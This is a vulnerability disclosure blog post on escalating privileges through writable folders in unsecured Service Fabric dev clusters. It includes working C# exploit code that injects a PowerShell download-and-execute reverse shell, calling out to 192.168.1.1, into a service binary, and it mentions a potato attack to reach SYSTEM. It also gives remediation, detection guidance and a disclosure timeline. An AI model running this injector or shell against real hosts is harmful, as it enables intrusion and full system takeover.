During a recent red team operation, NetSPI discovered a local privilege escalation path in the default installation of Microsoft Service Fabric Runtime, a software commonly used for local application development. This vulnerability would allow a low privilege user, with a foothold on a host running the service fabric deployment, to elevate their privileges up to System.  

For this attack to work, the cluster must be “unsecured”, which is the default option when configured using the “typical” installation options. Microsoft takes the approach that “An Azure Service Fabric cluster is a resource that you own. It is your responsibility to secure your clusters” but provided guidance on how to secure them here (https://learn.microsoft.com/en-us/azure/security/fundamentals/service-fabric-best-practices). This blog will cover how this path was discovered and how it could be exploited.  

The research presented here was conducted on a newly provisioned Windows 11 VPS, hosted in Azure. The Service Fabric Runtime for Windows and Service Fabric SDK installers were downloaded from the official Microsoft source at https://learn.microsoft.com/en-us/azure/service-fabric/service-fabric-get-started.  

The software versions used for this proof of concept were: 

  • Service Fabric Runtime for Windows 10.1.1951.9590 
  • Service Fabric SDK 7.1.1951 

If you want to follow along at home, here are the steps taken to set up the environment used for this research.  

TL;DR 

  • Once installed, ServiceFabric allows low-privileged users to access the web interface 
  • A folder permissions misconfiguration allowed any user to modify files used by Service Fabric  
  • These files are started as NT Authority/Network Service 
  • Service Fabric replaces these files with a known-good copy when a cluster node is restarted, we can exploit a form of “time of check, time of use” flaw to overwrite them 
  • We can abuse this flaw to get a shell as NT Authority/Network Service, which provides a direct path to SYTEM via a “potato” attack 

Environment Setup 

A local admin account was used to perform the service fabric installation.

The SDK was installed using the “typical” configuration:

Once both components were installed, a new 5 node cluster was provisioned. 

The cluster manager web interface can be used to confirm the setup was successful. This can be accessed on http://localhost:19080/ 

When the setup is complete, you should see a dashboard showing all the nodes are healthy.

A new, low privilege user was created and added to the RDP Users group (which is required to access the machine). This user was named “low”. 

Finally, a tools folder was created, and some exclusions were set up in Windows Defender. This post is not an exercise in bypassing AV; we just want shells. These exclusions just allow us to drop some files to disk later, without worrying about making them AV safe. Defender did not detect or block this attack when left enabled. 

With our lab VM set up, we can start our analysis of the Service Fabric installation.  

Finding the vulnerability  

You may have noticed the ‘SFDevCluster’ folder in the Defender exclusions above. This folder is created by Service Fabric when a new cluster is provisioned and contains various binaries which are used by the cluster nodes. Reviewing the permissions applied to this folder revealed the start of our exploit path. 

Despite being installed in the root of C, all authenticated users have write access to this folder and its contents.  

Let’s see what’s running from this folder, using Process Hacker 2.

We have some binaries running from within a folder we have write access to, and they are running as NETWORK SERVICE. If we can modify one of those files, we should be able to elevate to NETWORK SERVICE and, from there, up to SYSTEM. 

The obvious approach here is just to replace one of these binaries with our own file and wait for it to execute. Let’s try that, using calc.exe.  

Here we’ve renamed the original binary to “FabricFAS_old” and copied calc.exe into the folder as FabricFAS.exe. Now we just need to execute it. Luckily for us, we can re-start nodes via the web interface, under the “actions” menu. 

We can restart the node (note it must be the correct one), wait for the restart to complete and… nothing. No calc, no new process starting. Looking at the folder contents again reveals that our “malicious” file was removed and replaced with the legitimate binary. 

Note the icon and file size have changed in the screenshot above. If you want to confirm this for yourself, you can use procmon from the sysinternals suite.  

So that’s it, game over, right? Not quite. .NET exposes the FileSystemWatcher class (https://learn.microsoft.com/en-us/dotnet/api/system.io.filesystemwatcher), which lets us monitor for changes to files and folders programmatically.  

Using the following code, we can monitor for changes to the file directly after FabricFAS.exe (the files are modified in alphabetical order).

using System; 
using System.Collections.Generic; 
using System.IO; 
using System.Linq; 
using System.Text; 
using System.Threading.Tasks; 

namespace ConsoleApp1 
{ 
    internal class Program 
    { 
         

        static void Main(string[] args) 
        { 
            using (var watcher = new FileSystemWatcher(@"C:\SFDevCluster\Data\_App\_Node_3\__FabricSystem_App4294967295\FAS.Code.Current")) 
            { 
                //filter on Attribute changes as these only fire once watcher.NotifyFilter = NotifyFilters.Attributes; 
                watcher.Changed += OnChanged;  
                watcher.Error += OnError; 
                //we filter on this, as its directly after the exe we are interested in 
                watcher.Filter = "FabricFaultAnalysisService.dll";  
                watcher.IncludeSubdirectories = false;  
                watcher.EnableRaisingEvents = true; 
                Console.WriteLine("Press enter to exit"); 
                Console.ReadLine(); 
            } 
        } 

        private static void OnError(object sender, ErrorEventArgs e) 
        { 
            Console.WriteLine(@"An error has occured"); 
        } 

        private static void OnChanged(object sender, FileSystemEventArgs e) 
        { 
            if (e.ChangeType != WatcherChangeTypes.Changed) 
            { 
                return; 
            } 
            Console.WriteLine(@"FabricFaultAnalysisService.dll has been modified"); 
        } 
    } 
} 

Restarting the node should trigger our code.  

Note that we get multiple hits; we can fix that later.  

The above code will give us a window of opportunity to make changes to the binary between it being overwritten by the legitimate file and subsequently started again. Now we just need a payload. We could replace the file with calc.exe, or say, a custom binary containing a Cobalt Strike beacon, but we can do better than that. As Red Teamers, we want to remain undetected, breaking a node within a Service Fabric cluster will almost certainly cause error logs to be generated, which will get investigated, and probably get us kicked out of the environment. We want a payload which will run our code, and then start the node as normal. Enter Mono.Cecil (https://www.mono-project.com/docs/tools+libraries/libraries/Mono.Cecil/). This project will let us modify the existing binary, adding our own code to the main method, before writing it back to disk. The rest of the functionality will remain unchanged, so the node will start as normal. We just need to decide what to run.  

Exploiting the vulnerability 

For this blog, we’re going to go with a PowerShell reverse shell, for two reasons. First,  it’s fairly easy to set up, and more importantly, doesn’t give away too many secrets. If you’re going to use this, you almost certainly want to build a better payload. We will simply embed a PowerShell one-liner and execute it with Process.Start. A guide on how Mono.Cecil works is outside the scope of this post, but the code is shown below.

using Mono.Cecil; 
using Mono.Cecil.Cil; 
using System; 
using System.Diagnostics; 
using System.Globalization; 
using System.IO; 
using System.Linq; 
using OpCodes = Mono.Cecil.Cil.OpCodes; 

namespace ConsoleApp1 
{ 
    internal class Program 
    { 
        static void Main(string[] args) 
        { 
            using (var watcher = new FileSystemWatcher(@"C:\SFDevCluster\Data\_App\_Node_0\__FabricSystem_App4294 967295\FAS.Code.Current")) 
            { 
                //filter on Attribute changes as these only fire once 
                watcher.NotifyFilter = NotifyFilters.Attributes; 
                watcher.Changed += OnChanged; watcher.Error += OnError; 
                //we filter on this, as its directly after the exe we are interested in 
                watcher.Filter = "FabricFaultAnalysisService.dll"; watcher.IncludeSubdirectories = false; watcher.EnableRaisingEvents = true; Console.WriteLine("Press enter to exit"); Console.ReadLine(); 
            } 
        } 

        private static void OnError(object sender, ErrorEventArgs e) => PrintException(e.GetException()); 
        private static void PrintException(Exception ex) 
        { 
            if (ex != null) 
            { 
                Console.WriteLine($"Message: {ex.Message}"); Console.WriteLine("Stacktrace:"); Console.WriteLine(ex.StackTrace); Console.WriteLine(); PrintException(ex.InnerException); 
            } 
        } 
        private static void OnChanged(object sender, FileSystemEventArgs e) 
        { 
            string timestamp = DateTime.UtcNow.ToString("yyyy-MM-dd HH:mm:ss.rf", 
            CultureInfo.InvariantCulture); 

            if (e.ChangeType != WatcherChangeTypes.Changed) 
            { 
                return; 
            } 
            //at this point, our target EXE has been overwritten, we have a small window to write it before its called again. 

WritePayload(@"C:\SFDevCluster\Data\_App\_Node_0\__FabricSystem_App42949672 95\FAS.Code.Current\FabricFAS.exe"); 
            Console.WriteLine("done"); 
        } 
        private static void WritePayload(string target) 
        { 
            Console.WriteLine("Injecting..."); 
            AssemblyDefinition asm = AssemblyDefinition.ReadAssembly(target, new ReaderParameters { ReadWrite = true, InMemory = true }); 
            //Creating the Process.Start() method and importing it into the target assembly 
            var pStartMethod = typeof(Process).GetMethod("Start", new Type[] { typeof(string), typeof(string) }); 
            var pStartRef = asm.MainModule.Import(pStartMethod); 
            var toInspect = asm.MainModule.GetTypes() 
            .SelectMany(t => t.Methods.Where(m => m.HasBody).Select(m => new { t, m })); 
            toInspect = toInspect.Where(x => x.m.Name.Equals("Main")); 
            foreach (var method in toInspect) 
            { 
                method.m.Body.Instructions.Insert(0, Instruction.Create(OpCodes.Ldstr, @"powershell.exe")); 
                //then the arguments 
                method.m.Body.Instructions.Insert(1, Instruction.Create(OpCodes.Ldstr, @"iex (New-Object Net.WebClient).DownloadString('http://192.168.1.1:8000/Invoke- PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.1 -Port 4444")); 
                //We push the path of the executable you want to run to the stack 

                //Adding the call to the Process.Start() method, It will read from the stack 
                method.m.Body.Instructions.Insert(2, Instruction.Create(OpCodes.Call, pStartRef)); 
                //Removing the value from stack with pop 
                method.m.Body.Instructions.Insert(3, Instruction.Create(OpCodes.Pop)); 
            } 
            asm.Write(target); asm.Dispose(); Console.WriteLine("Injected"); 
        } 
    } 
} 

This code will need the Costura.Fody and Mono.Cecil Nuget packages to be installed, and you’ll want to update the IP addresses in the PowerShell command. In brief, this code will monitor for changes to the FabricFAS.exe binary, wait until it’s been updated, then write our malicious code into the start of the main method. When the node starts, this should kick off a reverse shell.  

We’ll need a host to catch our shell from, and we’ll need to build this payload and get it onto the box as the low privilege user we created earlier. We’re going to take some liberties here and just copy the file to our tools directory before we switch user. In the “real world”, we’d want to run this in process from our C2, but that’s just overcomplicating things.  

With our code built and copied to the tools folder, we can log off our high privilege user, and RDP back as the “low” user we created earlier. This user is not a local admin. Note that we don’t have permission to start the service fabric cluster as the low privilege user, it must be running already.

We can also verify that we have access to the Service Fabric management interface, as this low privileged user.

Now, we can run the exploit code we created, which will wait for the node to restart. We can trigger that restart from the management interface.  

After restarting the node, we see the exploit trigger.

Then, after a short delay while we wait for the node to restart, we see our payload being fetched from our server.  

We also get our callback.  

From this shell, running whoami /all will show that we are now running as NT Authority/NETWORK SERVICE 

From here, we can elevate to SYSTEM via one of the potato attacks. Again, this was our simple proof of concept only, so we’re going to drop some binaries to disk.  

We’ll use GodPotato to elevate to system. 

Running this from our shell shows we can run commands as SYSTEM. 

We can do better than that, let’s get a basic shell: 

Running “set” from this new shell, we can see our userprofile is in the system32 folder. 

As we have access to the test box, we can cheat a little here and just look at the nc64 process. 

And its permissions: 

And that’s it, we’ve gone from a low privilege user to SYSTEM, by using service fabric to get us a shell as Network Service.  

Remediation Advice 

While Microsoft considers this expected behavior you can still take steps to prevent abuse. Removing Write/Modify permissions from the Authenticated Users group should be sufficient to prevent this attack, you will also need to grant modify/write permissions to the NETWORK SERVICE account.

With these changes applied, our exploit code no longer works. 

The cluster is still healthy. 

Detection Opportunities  

Detection Opportunity #1: Anomalous processes modifying Service Fabric binaries 
Data Source: File Modification 
Detection Strategy: Behavior 
Detection Concept: Detect when a process overwrites or modifies any file within the c:\SFDevCluster folder, or its subfolders. The following processes are known to interact with files in this location legitimately – Fabric.exe, FabricHost.exe, svchost.exe, csrss.exe, MsMpEng.exe, Conhost.exe, FabricFAS.exe.
Detection Reasoning: No process, except for those associated with Service Fabric itself, or core OS functionality, should need to modify files in the c:\SFDevCluster folder. Other, unknown processes attempting to modify files in this location are likely to be malicious. 

Detection Opportunity #2: Named Pipe Usage for GodPotatoe 
Data Source: Named Pipe Creation, Named Pipe Connection 
Detection Strategy: Behavior 
Detection Concept: Detect on a process running as NT AUTHORITY\NETWORK SERVICE creating a named piped, followed by a process running as SYSTEM connecting to that same process. 
Detection Reasoning: This behavior indicates privilege escalation via the GodPotato exploit. In this particular example the PipeName has a format of <GUID>\pipe\epmapper and the Process running as SYSTEM is the System Process (Process ID 4) 

Hunting Opportunity #1: PowerShell.exe spawned by FabricFAS.exe Data Source: Process Relationship Detection Strategy: Behavior 
Detection Concept: The specific exploit chain used in this post results in PowerShell.exe being spawned by FabricFAS.exe. Hunting for this activity may allow this exploit to be detected. This could be expanded to include hunting for other processes commonly used to execute code, such as (but not limited to) cmd.exe, rundll32.exe, mshta.exe and wscript.exe. 
Reasoning: The PoC code presented here uses PowerShell, spawned by FabricFAS.exe. However, as PowerShell may be used legitimately by FabricFAS, NetSPI recommend using this for hunting rather than detection. 

Disclosure Timeline 

NetSPI disclosed this issue to MSRC, who provided the following response: 

“Upon investigation, we had determined that this is an expected behavior. You can refer the documentation https://learn.microsoft.com/en-us/azure/service-fabric/service-fabric-cluster-security . An SF cluster is a service management platform, exposing APIs that allow provisioning and executing code with an arbitrary level of privilege. An insecure cluster effectively elevates any caller to the role of machine administrator on each of its nodes. We have closed this case.” 

While we’ve chosen to publish this research, we’ve purposefully made the PoC provided very easy to detect by using PowerShell and tools dropped to disk. We have also provided detection and hunting guidance. 

The full timeline is shown below. 

  • January 26, 2024 – Issue reported to MSRC 
  • January 29, 2024– Issue Confirmed by MSRC 
  • January 31, 2024 – Issue marked as “not a vulnerability” for Bug Bounty purposes 
  • April 4, 2024 – Issue marked as “Out of Scope” due to being intended behavior. The content of the response is included above 
  • April 4, 2024 – NetSPI ask Microsoft to confirm their decision, and to approve publication  
  • April 5, 2024 – Microsoft responds, requesting they are allowed to review the blog before publication and confirming that they have contacted the relevant teams to confirm the behavior is intentional 
  • April 6, 2024 – Microsoft confirms again that this is expected behaviour 
  • April 18, 2024 – NetSPI submit a draft copy of this blog to MSRC for review, along with an intended publication date 
  • April 22, 2024 – MSRC respond, requesting that NetSPI clarify that the cluster was “unsecured” and that a link to one of their articles on cluster security is included 
  • May 28, 2024 – Blog post is published 

Want to learn more? Check out these additional resources: 

15 Ways to Bypass the PowerShell Execution Policy 

Power Up Your Azure Penetration Testing 

Extracting Sensitive Information from the Azure Batch Service